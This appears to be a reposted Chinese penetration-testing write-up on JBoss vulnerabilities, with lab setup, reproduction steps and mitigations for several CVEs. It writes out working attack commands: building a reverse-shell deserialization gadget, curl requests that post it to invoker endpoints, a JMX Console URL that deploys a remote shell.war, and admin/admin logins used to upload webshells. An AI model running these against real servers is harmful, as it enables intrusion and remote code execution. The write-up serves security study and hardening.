一.Jboss簡介

Jboss是一個基于J2EE的開放源代碼的應(yīng)用服務(wù)器。JBoss代碼遵循LGPL許可，可以在任何商業(yè)應(yīng)用中免費使用。JBoss是一個管理EJB的容器和服務(wù)器，支持EJB 1.1、EJB 2.0和EJB3的規(guī)范。但JBoss核心服務(wù)不包括支持servlet/JSP的WEB容器，一般與Tomcat或Jetty綁定使用。

默認(rèn)端口：8080

二.Jboss安裝

下載地址：https://jbossas.jboss.org/downloads/

1.安裝jdk

這里用了兩臺機(jī)子，一臺安裝老版本Jboss4，jdk選1.6，一臺安裝Jboss6.jdk選1.7

這里可以注意一下jboss5-7可以被jdk7支持，jboss4可以被jdk6支持；使用jdk8的話訪問JMX-console會報500；

安裝jdk步驟網(wǎng)上教程很多，我就不寫了，這里已經(jīng)裝好。

2.下載并安裝Jboss6

下載jboss-6.1.0.Final:

將其拉入虛擬機(jī)c盤

新建環(huán)境變量：

JBOSS_HOME值為C:\jboss-6.1.0.Final

path中加入：

;%JBOSS_HOME%\bin;

在該目錄下雙擊run.bat啟動

C:\jboss-6.1.0.Final\bin

出現(xiàn)info即為啟動成功，本地可成功訪問。

此時遠(yuǎn)程訪問是訪問不了的，我們需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置實現(xiàn)外網(wǎng)訪問。將address="${jboss.bind.address}"改成address=“0.0.0.0”

保存后重啟jboss，即可實現(xiàn)外網(wǎng)訪問；

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-96RgaLYG-1630060388009)(C:/Users/zcc/Pictures/image-20210820105424802.png)]

3.下載并安裝Jboss4

Jboss4和Jboss6的安裝步驟一樣，唯一不同的是在外網(wǎng)訪問的配置文件上修改的地方不太一樣；

進(jìn)去下面目錄，修改server.xml，如下圖成功訪問

C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

三.Jboss滲透

1.Jboss5.x/6.x反序列化漏洞（CVE-2017-12149）

漏洞原理

該漏洞為 Java反序列化錯誤類型，存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter過濾器中。該過濾器在沒有進(jìn)行任何安全檢查的情況下嘗試將來自客戶端的數(shù)據(jù)流進(jìn)行反序列化，從而導(dǎo)致了攻擊者可以在服務(wù)器上執(zhí)行任意代碼。

影響版本

Jboss AS 5.x Jboss AS 6.x

漏洞驗證

訪問/invoker/readonly，返回500（內(nèi)部服務(wù)器錯誤——服務(wù)器端的CGI、ASP、JSP等程序發(fā)生錯誤），說明此頁面存在反序列化漏洞

漏洞復(fù)現(xiàn)

下載漏洞利用工具：https://github.com/joaomatosf/JavaDeserH2HC

編譯（需要java環(huán)境）

cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version

這里我已經(jīng)安裝好

開啟監(jiān)聽

選擇一個Gadget：ReverseShellCommonsCollectionsHashMap，編譯并生成序列化數(shù)據(jù)；生成ReverseShellCommonsCollectionsHashMap.class；

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja va

生成序列化數(shù)據(jù)ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192 .168.10.65:12345

利用ReverseShellCommonsCollectionsHashMap.ser，以二進(jìn)制格式發(fā)送ReverseShellCommonsCollectionsHashMap.ser包

curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反彈shell。

安全防護(hù)

1.升級新版本。
2.刪除http-invoker.sar 組件，路徑如下

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

3.添加如下代碼至 http-invoker.sar 下 web.xml的security-constraint 標(biāo)簽中,用于對 http invoker 組件進(jìn)行訪問控制。

<url-pattern>/*</url-pattern>

路徑為：

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF

2.JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501）

漏洞原理

JBoss中/invoker/JMXInvokerServlet路徑對外開放，JBoss的jmx組件支持反序列化。JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象，然后我們利用Apache Commons Collections中的Gadget執(zhí)行任意代碼。

影響版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0JBoss Fuse 6.2.0JBoss SOA Platform (SOA-P) 5.3.1JBoss Data Grid (JDG) 6.5.0JBoss BRMS (BRMS) 6.1.0JBoss BPMS (BPMS) 6.1.0JBoss Data Virtualization (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞驗證

訪問/invoker/JMXInvokerServlet，返回如下頁面，說明接口開放，此接口存在反序列化漏洞。

漏洞復(fù)現(xiàn)

這里利用上面生成的序列化數(shù)據(jù)ReverseShellCommonsCollectionsHashMap.ser，發(fā)送到/invoker/JMXInvokerServlet接口中；

curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反彈shell。

安全防護(hù)

同上；

3.JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

漏洞原理

這個漏洞與CVE-2015-7501一樣，都是利用了Apache Commons Collections的基礎(chǔ)庫進(jìn)行Java反序列化漏洞的利用。差別在于CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet，CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。

影響版本

Jboss AS 4.x及之前版本

漏洞驗證

訪問/jbossmq-httpil/HTTPServerILServlet，出現(xiàn)如下頁面，說明存在該漏洞

漏洞復(fù)現(xiàn)

這里利用上面生成好的序列化數(shù)據(jù)，發(fā)送到改接口中：

curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反彈shell

安全防護(hù)

升級到最新版本。

4.JBoss EJBInvokerServlet 反序列化漏洞（CVE-2013-4810）

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同，兩者的區(qū)別就在于兩個漏洞選擇的進(jìn)行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進(jìn)行的反序列化操作，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進(jìn)行反序列化并上傳構(gòu)造的文件。

影響版本

jboss 6.x 版本

漏洞驗證

訪問/invoker/EJBInvokerServlet，如果可以訪問的到，說明存在漏洞

漏洞復(fù)現(xiàn)

還是利用上面生成的.ser文件，通過POST 二進(jìn)制數(shù)據(jù)上去，反向連接shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.Administration Console 弱口令

漏洞原理

Administration Console管理頁面存在弱口令，登錄后臺可以上傳war包

影響版本

漏洞驗證

漏洞復(fù)現(xiàn)

admin/admin弱口令登錄,點擊add a new resource上傳war包

點擊war包進(jìn)入下一層，若狀態(tài)為stop，則點擊start，默認(rèn)都是start，不需要點。

蟻劍成功連接

安全防護(hù)

修改密碼，密碼文件路徑為

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

或者刪除Administration Console頁面

Jboss版本>=6.0,admin-console頁面路徑為

C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本，路徑為

C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

6.JMX Console未授權(quán)訪問漏洞

漏洞原理

訪問控制不嚴(yán)導(dǎo)致的漏洞,默認(rèn)情況下訪問 http://ip:8080/jmx-console 就可以訪問管理控制臺，不需要輸入用戶名和密碼就可以直接瀏覽 JBoss 的部署管理的信息，部署上傳木馬，存在安全隱患。

影響版本

JBOSS 全版本

漏洞驗證

點擊主頁的JMX Console進(jìn)入頁面

漏洞復(fù)現(xiàn)

Jboss4.x的復(fù)現(xiàn)：

kali開啟遠(yuǎn)程服務(wù)，為了下面部署war包

進(jìn)入JXM Console之后，找到j(luò)boss.deployment

點進(jìn)去找到void addURL(),輸入遠(yuǎn)程war包鏈接之后，點擊invoke

回到這個頁面上方，點擊Apply Changes

返回到JMX Console頁面，等待一會，刷新后可以看見部署成功

蟻劍成功連接

Jboss6.x的復(fù)現(xiàn)：

步驟差不多一樣

在該頁面找到methodindex為17or19的deploy，填寫遠(yuǎn)程war包的地址進(jìn)行遠(yuǎn)程部署

或者是直接運行下面的語句部署即可

http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war

蟻劍成功連接

部署的路徑為如下，可以看見自動部署出war中的文件。

C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

安全防護(hù)

關(guān)閉jmx-console和web-console，提高安全性。

7.JMX Console HtmlAdaptor Getshell利用（CVE-2007-1036）

漏洞原理

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對外開放，并且沒有任何身份驗證機(jī)制，導(dǎo)致攻擊者可以進(jìn)?到j(luò)mx控制臺，并在其中執(zhí)?任何功能。

影響版本

Jboss4.x以下

漏洞復(fù)現(xiàn)

輸?url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()

分別向四個參數(shù)傳入內(nèi)容：

p1傳入的部署war包的名字，p2傳入的是上傳文件的文件名，p3傳入的是上傳文件的格式，p4傳入的是上傳文件的內(nèi)容

點擊invoke

經(jīng)過測試，已經(jīng)寫入，但是目錄底層不對，跳轉(zhuǎn)不過去，無法上線蟻劍，這是個問題，暫時保留，有師傅有解決方法可以告訴我一下，萬分感謝。

安全防護(hù)

目前官方已經(jīng)發(fā)布了升級補(bǔ)丁以修復(fù)這個安全問題，請到官網(wǎng)的主頁下載：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036

四.自動化滲透

jexboss自動化滲透

jexboss是針對jboss滲透自動化估計武器，是用于測試和利用JBoss Application Server和其他java平臺、框架、應(yīng)用程序等中的漏洞的工具。

下載地址：https://github.com/joaomatosf/jexboss

這里演示的環(huán)境是我上面搭建的4.x和6.x的環(huán)境。

輸入命令

python jexboss.py -host http://192.168.10.213:8080/

輸入yes即可

成功交互。

總結(jié)

以上是生活随笔為你收集整理的JBoss中间件漏洞总结的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。